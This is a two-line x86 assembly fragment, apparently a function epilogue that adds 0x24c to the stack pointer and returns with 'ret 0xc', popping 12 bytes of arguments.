add esp, 0x24c
ret 0xc